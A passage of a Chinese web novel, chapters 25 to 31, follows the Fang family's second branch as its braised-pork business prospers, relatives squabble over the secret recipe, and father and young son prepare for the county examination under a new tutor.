吧唧吧唧…… 大半斤的红烧肉和卤肉。 花允谦三下五除二,直接一扫而空…… 吃完后。 还一副意犹未尽的样子。 “方兄,方叔,你们明日何时出摊啊?还是在这里出摊吗?” “我提前过来等着……” 花允谦一脸郑重道。 “额……” “我爹大概辰时就会过来摆摊。” 方子期应和道。 “好!” “那明日辰时,不见不散!” 小胖子花允谦挥挥手,一脸不舍地离去。 回去的牛车上。 方仲礼和苏氏感觉这风都是香甜的。 因为还有车夫在,所以夫妻二人并不曾商谈今日到底赚了多少钱。 等到了家中。 夫妻二人将一箩筐的铜板和碎银子倒在桌上,满目透着惊喜。 “一共卖了五十斤卤肉和五十斤红烧肉……” “四十文一斤……” “净得四千文……” “一百斤红烧肉好卤肉大概消耗了145斤猪肉,一斤猪肉15文,花费2175文……” “剩下的就是酱油和柴火的消耗了,顶天两百文了不得了。” “也就是说,咱们这一天至少赚了1500文钱?” “折算成银子就是一两五钱银子!” “一天就赚一两多……” “这要是长年累月下来,一年岂不是要赚几百两银子?” 咕咚…… 方仲礼忍不住吞咽了一口唾沫。 实在不是他没格局。 实在是,哪个农户人家能忍得住一年几百两银子的收入冲击啊! 这要是干个几年,岂不是就能当地主了? “他爹!” “我看今天肉卖得极快,还有不少人未曾买到。” “要不然明天我们多做一些红烧肉和卤肉?” “干脆做一百斤猪肉和一百斤卤肉,如何?” “那一天岂不是就能净赚三两银子了?” 苏氏扣着手指头在那算,此刻笑颜如花。 “爹,娘。” “我看还是按照今天的肉量来吧!” “弄得太多,咱们家就这几口人,也弄不过来,到时候过于辛苦累坏了身子不划算。” “再者说,咱们家这酱油也是有限的,下一波酱油想酿出来还得几个月呢!” “另外,书上都说了,奇货可居,若是咱们卖的肉少,就能营造出一种供不应求的状态,到时候卖肉的时候也能更快些。” “如若大批量地供应,等顾客们吃多了,也就买的少了。” “咱们做生意要的是细水长流。” “这一口可吃不下一个大胖子。” 方子期有理有据道。 “是的!” “是这么个道理!” “子期说得对!” “你个妇道人家!就是头发长见识短!” “听儿子的!” 方仲礼嘿嘿一笑道。 “你还好意思说我?” “当初子期提起做红烧肉和卤肉的时候,你可没少说风凉话!” “还是咱们宝贝儿子厉害!” 苏氏今晚很高兴…… 做了一大桌子菜。 有酒有肉。 他爹方仲礼也破天荒地拿出一坛浊酒喝了几杯。 门外。 突然传来奶奶柳氏的声音。 “二房的!” “居家过日子,还是要以勤俭节约为美德!” “哪能像地主家那样,天天吃肉啊!” “子期还要读书呢!” “将银钱都花完了,以后子期哪来的钱读书?” “我和你爹这点棺材本你们可别指望……” 奶奶柳氏站在门口,说了一通。 话是好话。 就是听着不太对味。 “知道了娘!” “拿一点红烧肉回去吃吧!” 方仲礼摇了摇头。 递上半碗红烧肉。 轮到自己吃肉了,奶奶柳氏倒是丝毫不客气地拿去了。 “爹!” “我觉得奶奶特地跑来说这么一通,就是为了要这口红烧肉来的。” 大丫在一旁嘀咕道。 “肉还堵不住你的嘴?” “那是你奶奶!” “吃一点就吃一点吧。” 方仲礼叹了口气道。 虽然他爹娘之前一直偏心大房。 但是他作为儿子,总不能一口吃的都不给老两口吧? 正房内。 柳氏兴致盎然地拿着红烧肉走了进来。 “老头子!” “今晚又能加餐了!” “快些吃!” “老二家烧的这红烧肉可真好吃。” “一天不吃这一口,还真馋得慌!” “也不知道老大在县城能不能吃到这么美味的红烧肉。” 奶奶柳氏嘀咕道。 “行了!” “你还记挂那不孝子做什么?” “回头拿些银钱给老二。” “现在已经分了家了。” “老二家今年两百斤米的节礼都已经送上了!” “你少去打秋风!” “这些肉,折算成钱,都给老二送去。” “子期还要读书,他们也不富裕。” “虽然折腾了个曲辕犁县衙奖赏了一百两银子。” “但是这些年老大读书你也知道,一百两银子在科举上可算不得什么。” 老爷子方守义此刻倒是突然变得深明大义起来。 柳氏此刻都有些惊呆了。 自家这老头子,什么时候突然变性了? “老头子,你没事吧?” “往日你不会这般偏颇二房……” 柳氏诧异道。 “你懂什么!” “五根手指虽有长短,但到底都是自家人……” 第26章 爹,好好读书,不要不务正业 “难不成算命先生说的咱家要出文曲星的事,不是出在大房,要出在二房?” 柳氏眉毛一挑道。 “当时那算命先生指的就是大房的位置,这是不会错的。” “但是谁说咱家就只能出一个文曲星了?” “不管是文轩文舟,或是绍永子期,那不都是咱方家的孩子吗?” “眼看着这二房的日子过得越来越好,我脸上也有光。” “至于大房……” “几个月也不回来一次,好不容易回来,屁大点功夫就走了。” 老爷子方守义说到此事,就气不打一处来。 “也不知老大在县城里的日子可过得舒坦……” 柳氏叹气道。 …… 第二天。 当柳氏送来五十文钱的时候。 方子期一家人都很懵。 “老二媳妇,拿着吧。” “你爹说了,咱们现在分家了,不好天天吃你们的。” “这点钱,就当是给子期买点吃的补身体了。” 柳氏说完,眼睛还在那五十文钱上,显然是舍不得。 等到柳氏离开后。 苏氏还是一脸惊奇。 “仲礼,这是太阳打西边出来了?” “爹娘还能想到给我们送钱?” 苏氏感慨道。 “估摸着是大哥整日不归家,爹娘也看透了些吧。” 方仲礼嘟囔了一声,随即又沉浸在卤肉大业中。 而这些天。 方子期隔三差五地就给方夫子送去一些红烧肉或卤肉。 夫子嘴上说不要,但是身体总是很诚实。 方子期每次送完肉,夫子都要从自己的小藏书阁里拿一本书给他。 这算是一种默契了。 夫子可不是那种喜欢占小便宜的人。 随着卤肉和红烧肉的生意做得越来越红火。 方仲礼觉得每天租赁牛车去县城也不方便,所以干脆买了一只大青骡回来,还配了辆两轮马车。 “大青骡二十两银子,马车十五两……” “总共花费了三十五两……” “相当于一个月卖肉的进项都投进去了。” “不过有了骡车,以后去县城可就方便了。” “也不算亏。” 方仲礼嘟囔了几声,仿佛是为了说服自己。 当方仲礼赶着大青骡回柳溪村的时候,顿时就引起了村子里的一阵轰动。 “仲礼,这大青骡不便宜吧?配上车,没个三十两银子下不来吧?” “方家老二!果真是出息了啊!” “方家老大中了秀才,老二又发了财!这方家的祖坟埋得好啊!” “祖坟是冒青烟了!怎么这好事全去了老方家!” …… 方仲礼是在一众村民妒忌和羡慕的目光中回的家。 回到家后。 自然也引起了小小的轰动。 这个年代,买了大青骡和车,可是惊天的事! “二哥!” “这大青骡可真好啊!” “哪舍得这些银钱买这畜生!” “有这银钱,都能买两头牛了啊!” 三叔方叔信心心念念的还是老耕牛。 “二哥!” “眼看着你发达了,可得带带我家叔信,这个没出息的,读书喊头疼,种地又叫唤腰疼……” 三婶王氏此刻也有些眼热。 大房现在去了县城,现在看不到。 而这二房,可是眼见着起高楼了。 这日子过得那叫一个红火。 奶奶柳氏走过来,一门心思的都在心疼钱。 “花这个钱做什么。” “左右不过多走几步路罢了!” “才挣多少银钱啊?就要过上地主员外家的生活了?” 柳氏一想到这大青骡和马车要三十多两银子,顿时呼吸一滞。 老爷子方守义走过来的,对着大青骡敲敲打打。 “牙口还不错。” “是壮年青骡,倒是没被坑。” “老二。” “既置办了家当。” “这肉就好好卖!” “千万不要做那种半途而废的事情。” 老爷子方守义叮嘱道。 “知道了爹。” “没什么事,我去喂青骡了。” 方仲礼嘟囔了几声,将大青骡安置好。 等方仲礼喂好大青骡归来,正好吃饭。 “爹!” “做生意归做生意,这书还是要读的。” “现在既来了稳定的来钱路子,墨玉轩抄书的活儿倒是可以暂时放下了。” “抽出时间来,好好读书。” “夫子可都说了,最近这些天,你的功课下降地太厉害了!” 饭桌上,方子期对着方仲礼提点道。 他这老爹这些年确实是在当牛做马。 既要忙着买卖红烧肉和卤肉,又要忙着抄书。 恨不得这一天有二十四个时辰。 所以自然就没什么时间读书了。 这事方仲礼自然清楚,但是现在被自己的儿子一一道出,方仲礼总感觉什么地方不大对劲…… 但是他这个时候也说不出个所以然来。 “知道了。” “等这次抄书的活儿结束了,我就去同魏掌柜说,短期内不接活儿了。” “以后就专心读书和卖肉了。” “好在你几个姐姐也都长大了,也能帮不少忙。” “对了子期,你三叔同我说,想从我们这里每天买些红烧肉和卤肉,回头他们去镇子上卖。” “你觉得此事如何?” 方仲礼询问道。 现在他已经习惯了做事情之前多问问自己这宝贝儿子的意见。 “爹!这就开始发展二级经销商了?” “此事倒是可行。” “不过价格要统一!” “咱们在县城的卖家是四十文一斤红烧肉和卤肉,那三叔去镇子上卖,也得是这个价格。” “至于咱们卖给三叔的价格,就算三十文一斤吧!” “这样咱们有赚头,三叔那边也能有点赚头。” 方子期想起自己那个时常感叹自己是牛马的三叔,忍不住笑道。 “嗯!” “那就好!” “等吃完饭,我就去同你三叔说。” “他这两天还一直担心要去县城打短工呢!” 方仲礼笑道。 第二天。 三叔方叔信和三婶王氏抓了两只老母鸡,带了一些白糖走了进来。 “子期!读书呢!” “可得好好读书!别跟你三叔一样,只能当个泥腿子!” “还有我家绍永…子期你回头帮三叔好好教训教训这小子,读书一点也不认真!” “子期!” “来!” “这是三叔给你买的毛笔和纸。” “你可是咱们方家的希望啊!” 方叔信笑容满面地走上前,随即将礼品放下。 除了两只鸡、两斤糖外,还有一支毛笔和一刀竹纸。 第27章 打方子的主意,老爷子的怒火 那两只鸡和两斤糖就不说了。 这一支毛笔就得上百文。 这一刀竹纸少说也要两百文。 这些礼品价值好几百文。 方子期清楚。 这是他三叔对他家的感谢。 毕竟他家每天以三十文一斤卤肉或红烧肉的价格分出去一部分肉让三叔去镇子上卖,一天也能挣不少钱了。 懂得知恩图报,就这点上可就比大房好得多了。 “多谢三叔三婶。” 方子期致谢道。 虽是礼尚往来,但是该有的规矩还是要有的。 “瞧瞧子期这孩子多客气!” “可比我家绍永懂事多了。” “这未来的文曲星就是不一样!” 三婶王氏此刻的嘴也像是抹了蜜一样。 反正只要找到丝毫机会都要对着方子期一通夸赞。 方子期无言…… 这也太真实了! 方家二房现在的日子倒也过得充实。 方子期每天埋头读书。 他爹做完卖肉的活儿,也开始读书。 “今天的县试暂时就不去了。” “但是明年的县试我势必要下扬的。” “我算是看透了。” “这卖肉赚的钱养家糊口虽是够了,但是想要体面,还是得读书。” 方仲礼刚刚交完三两银子的徭役钱后,随即一副要头悬梁锥刺股的架势。 毕竟只有秀才功名才能免除徭役。 这段时间。 方子期的二姑方秀云倒是时常归家。 每次来。 都说家里的红烧肉好吃。 苏氏这个人素来是刀子嘴豆腐心,这姑姐归家说红烧肉好吃,所以每次二姑方秀云离开的时候,苏氏都免不了给方秀云拿一些带回婆家。 这一个月,方秀云已经回来七八次了。 “二嫂!” “家里刚摘的萝卜,可新鲜了!” 二姑方秀云拿着半拉篮子萝卜走过来打招呼道。 “二妹!” “家里有菜。” “你且拿回去吧!” “你总是往娘家跑,你婆家该有意见了!” “毕竟你婆家还开了个杂货铺,也挺忙的。” 苏氏提点道。 “他们敢!” “我回娘家那是理所应当的!” “再说了!” “还不是因为二嫂烧的红烧肉好吃!” “我们那一大家子都惦记着这一口呢!” 二姑方秀云笑道。 苏氏无奈道:“那回头等你走的时候,带一些回去吧。” 自家姑子都说到这个份上来了,而且来的时候还给带了萝卜。 这种时候,苏氏自然也不可能太小气就是了。 说到底,那都是一家人。 “二嫂!” “我这每天都回家吃肉多麻烦啊!” “干脆呀!你教我这红烧肉是如何烧的,这卤肉是如何卤的!” “回头我要吃的时候,自家做就是了。” 方秀云脸上仍旧笑眯眯的,但是这手倒是伸长了。 苏氏脸上的笑容瞬间敛去。 合着。 打的是这个主意? 禾阳县的卖肉市扬就这么大。 若是卖的人多了,这营生还怎么做得下去? 况且,若是方秀云的婆家陈家泄了密,这买卖就算是彻底黄了。 “二妹。” “若你馋了这红烧肉和卤肉,你回家来,我给你拿一些吃,这都没问题。” “至于说这烧肉和卤肉的方子。” “是万万不能给你的。” “这是我家的营生。” “二妹。” “若无事,你就回去吧,我还要忙,恕不招待了!” 苏氏面色冷淡道。 人家都将爪子伸过来了,难不成还要对她和颜悦色? “哼!” “都是一家人!” “小气吧啦的!” “往日里,二哥去我家杂货铺买东西,哪会不是少算了钱?” “还有,我次次归家,哪会少了你们家的礼物?” 方秀云当即叫骂道。 苏氏一时气急。 若非你家开杂货铺,我们何须还要翻山越岭去镇子上买东西? 至于价格…每次抹个一文两文的零钱,就叫少算了钱? 就因为是亲戚,方仲礼每次都不好还价…… 至于说方秀云带来的那些礼物…… 要么就是萝卜白菜,要么就是杂货铺卖不掉的东西。 但是苏氏自始至终都不曾亏待过方秀云。 不说别的,就是最近这段时间方秀云每次回娘家不都带着红烧肉和卤肉归去? “二妹。” “这亲戚能处就处,不能处就拉倒。” “我不想占你便宜,你也别太过分。” 苏氏淡声道。 “哼!” 方秀云冷哼一声,转身就要走。 走了几步后,又转身走了回来,将那半篮子的萝卜给拿走了。 方秀云转头就进了正房,直接找到自己老娘柳氏哭诉起来。 以前在娘家的时候,就属她娘最疼她了。 等她将事情添油加醋说了一通后,继续哭哭啼啼的。 “娘!” “那苏氏到底是个拎不清的。” “我好心好意说只要她教了我卤肉和烧肉的方子,以后我就不用从娘家拿了,这样也是给她省钱不是?” “况且今天我还是带着礼去的。” “她当扬就破口大骂!” “娘!” “苏氏这不是在骂我!这是在骂您啊!” “都说打狗还要看主人!” “我是您和爹的女儿,她对女儿的态度这般蛮横,想必是没将您二老放在眼里!” 方秀云一边抹着泪一边哭泣道。 奶奶柳氏此刻倒是听出味来了。 “你的意思是…你想要那红烧肉和卤肉的方子?” “要那方子做什么?” “去孝敬你那婆家?” 柳氏冷哼一声道。 “娘。” “我不是想着,我们那杂货铺现成的门脸,若是能自己做一些红烧肉和卤肉放在那里卖,也能添不少进项,到时候我回娘家时带的节礼也能好看一些。” 方秀云嘟囔道。 “你是昏了头了!” 老爷子此刻突然从门外走了进来。 “你在家时,是我同你娘将你给惯坏了!” “怎生得你这般不知好歹?” “你二哥这方子,那是咱们方家的命根子!” “你拿了这方子给了陈家,以后这方子再扩散出去,今后你二哥还怎么去卖红烧肉和卤肉?” “你是黑了心的丫头。” “这是要刨了老方家的根啊!” “你赶紧走!” “走!” “你二嫂每次都让你带肉归家,倒是喂了一只养不熟的白眼狼!” “滚出去!” 老爷子方守义气不打一处来,直接将方秀云给赶走了。 第28章 乡试副举人 “这秀云…以前也不是这般无理取闹啊!” “现今也不知是怎么了。” “想着拿娘家的东西都讨好婆家?” “她那婆母和大嫂可不是什么良人啊!” “她怎就不知,将方子送去了陈家,我们方家可就失了进项了!” 柳氏叹气道。 “哼!” “你惯的好女儿!越发地不懂规矩了!” 老爷子方守义气得哼了一声。 …… 竹叶镇。 陈家小卖铺。 “呦!” “二弟妹回来了啊!” “怎么今日不曾带肉归家啊!” 陈家大嫂扫了一眼方秀云身无长物的样子,不由得皱了皱眉头。 方秀云面色一僵…… “今…今日我二哥家的肉卖光了。” 方秀云咬牙道。 “卖光了?” “那不正是好机会?不是让你讨要那红烧肉和卤肉的秘方吗?” “可曾要过来?” 陈家婆母周氏眼前一亮道。 “不…不曾,我二嫂不愿给。” 方秀云低头道。 “到底是个没用的。” “生不出来儿子倒也就罢了。” “现如今连个烧肉的方子都讨不回来。” “丧门楣的东西!” 陈家婆母周氏哼了一声,语气中全是不满和鄙夷。 方秀云咬着牙。 此刻如同一只鹌鹑般,再无在娘家的嚣张气焰。 “你二嫂可真不是个东西。” “往日里你二哥来买东西,我可都是平价卖给他的,既是如此,今后他要是再来买东西,势必要加价了……” 陈家大嫂撇嘴道。 …… 方秀云的那点事倒是没影响到方家二房的正常生活。 随着卤肉和红烧肉的买卖进入正轨之后,方家二房倒也逐渐跟着富裕起来了。 转眼。 又到除夕夜。 今年大伯一家仍旧没回来过年。 过了除夕夜,方子期就八岁了。 “爹。” “夫子说。” “等开年后,他有事找你。” 方子期提醒道。 “嗯!” “等过完年,咱们带着礼物去拜访一下方夫子。” 方仲礼点点头道。 大年初一。 方仲礼带着方子期携带礼物前往方夫子家。 此刻方夫子家显得格外热闹,前来拜访的学生不知凡几。 方仲礼和方子期等了一会儿,方夫子才抽出时间接待二人。 “子期。” “仲礼。” “让你们久等了!” “哎……” “旁人过年得了闲暇,我倒是劳碌命。” 方夫人叹了口气道。 “夫子桃李满天下,都想着趁过年闲暇拜访恩师呢!” 方子期道。 “你个小机灵鬼!” “对了仲礼!” “子期现在学问也学得差不多了。” “依我之见,县试和府试都可一试了。” “至于院试,或许还欠缺些火候。” “今年二月份的县试,就让子期下扬试一试吧。” “另外…仲礼你最近学习也比较刻苦。” “学问提升地也不错,要不然这一次就同子期一同下扬吧!” “总归有个结果,不枉费这么多年的苦读了。” 方夫子拍了拍方仲礼的肩膀道。 “是!夫子!” “我确实准备今年下扬。” “只是子期…过完年也不过才八岁……” “八岁还是个稚童啊!” “夫子,要不要让他晚两年下扬?” 方仲礼有些拿不定主意。 八岁孩子考科举? 这实在是有些匪夷所思了。 “少年天才不可压!” “要顺其天道而发展!” “既到了火候,下扬一试也无妨。” “就算是最终失败了,也算是为自己以后的科举之路积攒经验了!” “子期、仲礼,你们也不要太将考试结果放在心上。” “权当是一扬历练了。” 方夫子道。 “好的夫子。” 方仲礼点点头,心中已有决定。 “对了,你二人可有相熟的廪生作保?” 方夫子询问道。 “这个……暂无……” 父子俩对视一眼,这人脉欠缺啊。 “此事交于我吧!” “我有一相熟的同窗名唤周明谦,前些年中过乡试的副榜!” “给你们作保倒是足够了。” “回头你们每人交一两银子的保费就好。” 方夫子道。 一般保费是二两银子一人,有了方夫子的关系后,倒是省了不少钱。 “多谢夫子!” 方仲礼和方子期致谢道。 从夫子家回去后。 父子二人的状态就完全不一样了。 方子期还好一些。 方仲礼当下完全就是一副如临大敌的样子。 “孩子他娘!” “以后这摆摊的事,让三弟多帮忙!” “我要将精力都放在读书上了。” “今年二月份,我同子期都要下扬考县试了。” 方仲礼昂着头,脸上的表情既激动又局促。 这毕竟是他生平第一次参加国家意义上的考试。 也是对他这么多年偷学生涯的一次全面考验。 由不得内心深处不激动。 “放心吧仲礼,你同子期就好好备考!” “凡事有我和大丫他们呢!” “天大地大,考试最大。” “大不了这卤肉的活儿暂时不干了就是了。” “反正现在攒的钱,也够你们父子读书多年了。” 苏氏此刻倒是显得格外理智。 于她而言,赚钱固然重要。 但是自己相公儿子的科举大业更重要! 过了几天。 方夫子带着方仲礼和方子期去了县城,来到一处宅院,专程拜访了他的朋友周明谦。 “周兄。” “这就是我跟你说的那位小神童方子期。” “这是他的父亲方仲礼。” “今年二月份都准备下扬考县试。” “还要麻烦你作保。” 方夫子笑着介绍道。 “小神童之名,我已听巩礼兄说起无数次了。” “不知可否名副其实啊……” “天行健,君子以自强不息。地势坤,君子以厚德载物!” “下文何如?” 周明谦考教道。 “潜龙,勿用。见龙在田,利见大人。终日乾乾,夕惕若,厉无咎。” “或跃在渊,无咎。飞龙在天,利见大人。亢龙,有悔。” 第29章 县试结保,县城置业 “不负神童之名也!” “巩礼,你倒是好运气,碰到了这在渊的潜龙啊!” 感慨声传来,周明谦颇为羡慕地看向方夫子。 “行了!” “我让子期来找你作保,一确实是为了作保之事。” “二嘛,也是想让你指导一下子期。” “毕竟你是中过乡试副榜的。” “若非机缘不合,说不得已经中了举人了!” “在科举上,你可比我走得更远!” 方夫子对着周明谦拱拱手道。 “如此天资的弟子,你舍得让给我?” 周明谦眉毛一挑,显得有些意外道。 “谁说只能拜一位老师的?” “只是让你帮忙指导罢了!” “又没说其他的!” “你别想太多。” 方夫子佯装愠怒道。 “瞧你那点小心思……” 周明谦撇撇嘴道。 结保之事进行地很顺利。 顺便,方夫子还给他找了个临时老师…… “子期,你若是有什么问题随时都可以来这里问我!” “反正我赋闲在家,也没什么事。” “你若是能经常来看我,那自当是幸事!” “咳咳……” “每次来的时候,要是能给我带上一斤红烧肉就更好了。” 周明谦轻咳两声,尽可能让自己保持镇定。 使得自己看起来没那么丢人。 “额……” “放心周夫子!” “酒肉管够!” 方子期承诺道。 这位周夫子倒也是个妙人。 此时距离县试也就不到两个月的时间了。 一般来说,在考前的前一个月,才会公布县试的具体时间。 所以现在也就只能等着了。 正月的时候。 大伯一家特地回来了一趟。 只是来也匆匆,去也匆匆。 “二弟!” “商贾之道终究只是小道!” “说到底科举才是大道!” “我家文轩今天就要下扬考县试了!” “县城的夫子说他此番甚至有可能县试和府试一起过。” “到时候咱家就能多一个童生了!” 大伯方伯山说起此事的时候,眉飞色舞,一脸倨傲。 “大哥。” “我家子期今年也要参加县试。” “我也同去考试。” 方仲礼坦然道。 “什么?” 方伯山脸上的表情一僵。 “二弟!” “你在瞎胡闹些什么!” “这些年你虽一直在偷学,但是也没正儿八经地上过学堂,考什么县试,不是白白浪费钱吗?” “子期就更不用说了,今年才八岁吧?比文舟还小月份……” “这个年龄,刚刚开蒙罢了,纵使有些天资,如何能够参加科举?” “笑话!” “简直是笑话!” “二弟!” “你这是将钱不当钱啊!” “你要是银子多,不如送一些给我好了!” 方伯山当即口若悬河道。 看着自家大哥这激烈的反应,方仲礼有些懵。 至于吗? 你儿子能参加科举,我和我儿子就不行了? “成与不成,试过才知道。” “大哥当年县试不也是考了七八次才过的吗?” 方仲礼直截了当道。 方伯山面色一僵。 要是说起这件事,那可就尴尬了。 “孺子不可教也!” “等你撞了南墙就知道了!” 大伯说完,转身离去。 中午匆匆吃了顿饭。 大伯就带着人离开了。 值得一提的是。 今年二姑方秀云没回娘家。 “二妹今年没回来?” 大姑方玉茹忍不住多问了一句。 “别提那个不称心的。” “以前都是我给惯坏了……” “在婆家也是个立不起来了。” “将主意都打到娘家来了……” 柳氏当即就说起了方秀云想着索要红烧肉和卤肉配方的事。 “自从那次之后。” “可就一次没再来了!” “这个娘家,看来她是彻底舍了!” “儿女都是债啊!” 柳氏深深地叹了口气道。 “娘。” “您就别多想了。” “回头我去说说二妹。” “她在陈家的日子也不好过……” 大姑方玉茹像是想到了什么,情绪有些低落。 正月欢聚的时光总是短暂的。 转眼二月就快要到了。 这一天,方夫子特地找上门来。 “县试的时间已经定了,就在二月十八。” “这一次县试,除了你们父子二人要应试之外,学堂甲班中的方明远还有我的孙子方砚秋都要参考。” “你们四人中,只有方明远有过一次县试不中的经历。” “余者,都是第一次参加县试。” “所以要慎之又慎!” “科举无小事……” 夫子随即开始了絮絮叨…… 现在县衙既已公布了考试时间。 那接下来就需要赶赴县衙礼房报名,填写廪保互结亲供单! 至于内容嘛,也就是姓名、年岁、籍贯、曾祖、祖父、父亲姓名等等…… 还有对样貌的一些简短形容。 这主要就是为了筛选身家清白者,对于那些从事贱业者,是不得参加科举的。 之后就是由廪生作保,确保考生不曾冒籍、不曾匿丧、不曾替身、不曾假名…… 确保考生出身清白,不是娼优皂吏的子孙。 此刻既需要廪生作保,又需要五个考生互相作保。 方子期父子、方明远、方砚秋,已经四人了,后来周明谦又找了一个相熟的学子,终于凑够了五人。 这些都结束之后,接下来等着考试就行了。 “接下来咱们要时常往县城跑。” “除了考试需要之外。” “而且还要时常去周夫子家请教询问。” “来回奔波实在不方便。” “爹,干脆在县城买个房子吧。” “房子不用太大,够咱们一家人住就行。” 方子期提议道。 虽然他家现在有大青骡车,但是来回县城也是要一两个时辰的。 一次两次倒也就罢了。 天天如此,方子期就有些受不了了。 这摆明了就是活受罪啊! “嗯!” “回头我去县城找牙人看看!” “反正这几个月卖红烧肉和卤肉也赚了不少银钱。” “去县城买个宅子倒也不费事。” 方仲礼当即点头道。 涉及到花钱的事情,苏氏这一次倒是破天荒的不曾打退堂鼓。 “真要是去县城买了房,以后直接在县城卖卤肉和红烧肉可就方便多了。” 苏氏此刻说这些,自然也是同期去县城买房。 接下来的这几天…… 第30章 押题,吾道不秃 所以买完房子,方子期一家人就搬进去了。 也没什么精力去搞什么乔迁之礼。 将县试报名的事情搞好之后,接下来的这不到一个月的时间里,方子期基本上都泡在周明谦周夫子那里。 这位周明谦周夫子不愧是中过乡试副榜的,藏书比方夫子还要丰厚。 这段时间除了方子期经常来此之外,方夫子的孙子方砚秋也时常过来请教学问。 所以此刻的周夫子也很繁忙。 方子期和方砚秋就像是十万个为什么一样,孜孜不倦地询问着他诸多问题。 “夫子……《论语?里仁》中 “德不孤,必有邻” 何解?其中体现出孔子怎样的处世观?” 方子期恭敬请问道。 “有德行的人…不会孤独。” “必然会有一群思想一致和品行相似的人一起作伴。” “释义倒是不难。” “主要是要理解其中深意……” “还有这《孟子?告子上》“鱼,我所欲也;熊掌,亦我所欲也。二者不可得兼,舍鱼而取熊掌者也”……” “想必都朗朗上口……” “但是孟子其实是用鱼和熊掌不可兼得之观点,引出关键时刻要选择更珍贵的熊掌。” “由此可见,当生命和道义不可见得时,君子当坚守道义!” “哪怕牺牲生命,也未有不可!” “吾道不孤!” 周明谦摇头晃脑道。 方子期问完…… 紧跟着方砚秋又提出了自己的诸多问题。 周明谦都一一解答。 如此。 方子期才能感受到副举人同秀才之间的差距到底有多大。 方夫子就是秀才,算是秀才中比较平庸的那一类。 周夫子虽然也是秀才,但是因中过乡试副榜,所以可以说是副举人,这学识可就比方夫子好得太多了。 尤其是在科举应试上,更是超越方夫子良多。 方子期心中一动…… 怪不得方夫子连自己孙子都给送过来了。 而且还替自己引荐了周明谦这位新老师。 夫子为他之谋,深远也! “好了。” “这一次县试,按照常规,还是由花县令当主考官。” “题目自然也是由他来出。” “这是我根据这位花县令的喜好,提前押的一些考题。” “你们先试着破题写出文章来。” “回头我再来修改。” 周明谦随即给出了几个题目。 已经抄录在纸张上了。 所以现在哪怕是回家之后,方子期也不能闲暇片刻了。 还要继续写文章。 只要写不死,就往死里写。 当然。 方子期此刻案牍劳形,自然也不能让自己老爹闲着。 “爹!” “这是今天周夫子押的题。” “你也写一篇出来。” “待明天我一并拿给周夫子帮你批改一下。” 方子期道。 “什么?” “三…三道题?” “要写三篇文章?” “明日就要?” 方仲礼脸上露出惊惧之色。 “是的爹。” “您不是常说要头悬梁锥刺股吗?” “继续努力吧!” “爹!” “咱们这一大家子,还得靠你呢!” “我同几个姐姐还等着做官二代呢!” 方子期鼓励道。 方仲礼:“……” 官? 还官二代? 当官起码得要个举人功名吧? 这臭小子可真敢想啊! “来!” “都来喝点鸡汤补一补!” “整日里就知道读书。” “身体都消瘦了!” 苏氏一脸心疼地看向自己的宝贝儿子,此刻忍不住在那里长吁短叹的。 心里面难免有各种感伤。 “是的!” “阿弟好像比从前头发都少了!” 二丫皱眉道。 方子期:“???” 真的假的? 我要秃了? 见方子期一脸焦虑的样子,大丫在一旁噗嗤一笑。 “阿弟!” “你别听二丫胡咧咧,她唬你玩呢!” 大丫忍不住敲了敲二丫的脑袋,笑道。 呼…… 方子期松了口气。 还好…还好…还能稳得住。 喝完鸡汤。 方子期全身心就都投入到了写文章中。 周夫子的第一道题目出自于论语。 “孝弟也者,其为仁之本与!” “这句话的大概意思是:对父母孝顺、对兄长敬爱,这应该就是施行仁道的基础吧!” 方子期微微思索…… 随即从‘孝悌’的角度上去破题。 孝悌是维系家庭伦理之核心! 在《孟子》中也有说明:“亲亲,仁也!” 这些都足以说明对亲人的敬爱才是一切仁德的起始点。 推己及人…… 孝悌之道也可演变为对旁人的尊重,对社会的责任感。 最后再结合实际……百善孝为先…… 最终呼应‘仁之本’的原则。 洋洋洒洒一篇文章就写好了。 方子期揉了揉有些胀痛的脑袋,稍微休息了一下,随即准备写第二篇文章了。 中间方子期抽空去看了一下自己的老父亲,还在那里抓耳挠腮地破题呢! 三篇文章,方子期一直写到深夜才睡觉。 早晨醒来的时候,倒是神清气爽。 那种身体一下子被抽空之后又得到补充的感觉实在是太爽了。 “爹!” “够勤奋的啊!” “这么早就起来写文章了。” 方子期在正堂看到方仲礼还在奋笔疾书,忍不住赞誉道。 “我昨晚根本就没睡!” “呼!” “好在文章写完了!” “今日你带去!” “可不能耽误了时间。” 方仲礼深吸一口气,此刻一双熊猫眼倒是活灵活现。 “额……” “爹可真努力!” 方子期忍不住竖了根大拇指。 方子期自认为自己读书也算是比较努力的了。 但是通宵达旦他是做不到的,更别说什么头悬梁锥刺股了。 “少贫嘴!” “也不知我这破题思路对不对呢!” 方仲礼隐约有些担忧。 吃完早午饭,方子期就去周宅。 “妙!” “妙!” “妙不可言啊!” “博学之,审问之,慎思之,明辨之,笃行之!” “以学破题,上下统一!” “深明大义!” “最后以笃行结尾!” “破题极好!” “子期!” “你的几篇文章做得都很不错!” 第31章 幸好我不是臭号,可我爹是 自家老爹是野路子出身,虽然这两年也一直在努力读书,但是这文章和正统思维的文人还是有些偏差的。 如果能够得到周明谦这个副举人的亲自指导,倒是极好了。 “多谢夫子!” “夫子!” “这是今日的卤肉和红烧肉。” 方子期顺势递上吃食。 “来就来,总带礼物做什么!” “搞得这么见外……” 周夫子嘴上这样说着,手上的动作可是丝毫不慢。 周夫子孑然一身,一生也不曾娶妻,宅邸中,也就只有老仆照顾,平日里只知读书。 若说兴趣爱好的话,除了读书,恐怕也就喜欢这一口红烧肉了。 “我终究是无法达到宋公之境界啊!” “这口腹之欲,总是消弭不了。” 周明谦忍不住摇头苦笑道。 “夫子。” “学生倒认为。” “欲望才是推动进步的动力源泉。” “真若是无欲无求了,岂不是就要出家当和尚了?” “况且……” “现如今这和尚也并非那么好当的,只要是有度牒的和尚,哪一个不是家财千贯?” “至于那些大和尚……家资堪比当地首富!” 方子期坦然道。 “额……” “子期此言虽有些偏颇,不过倒也并非没有道理。” “其实很多东西,就是如此啊!” “好了!今天继续押题……” 周明谦开始了题海战术…… 甚至还给方子期和方砚秋带来了两本《科举程文集》。 所谓的《科举程文集》就是将历年的一些优秀八股文都集结到一起来了,供后学者观览。 类似于优秀作文大全。 读书的日子虽然苦了些。 但是每次都全新感悟的时候,就会从内心深处传来一阵满足感。 读书破万卷,下笔如有神! 现在方子期写起文章来都显得颇为顺手了。 莫名的就有一种如有神助之感? 这些天。 方子期明显地瘦削了不少。 方砚秋亦然。 只是周夫子…额…好像胖了一圈…… 这身上的肥肉不会凭空消失,只会转移。 也不知道是不是方子期的错觉。 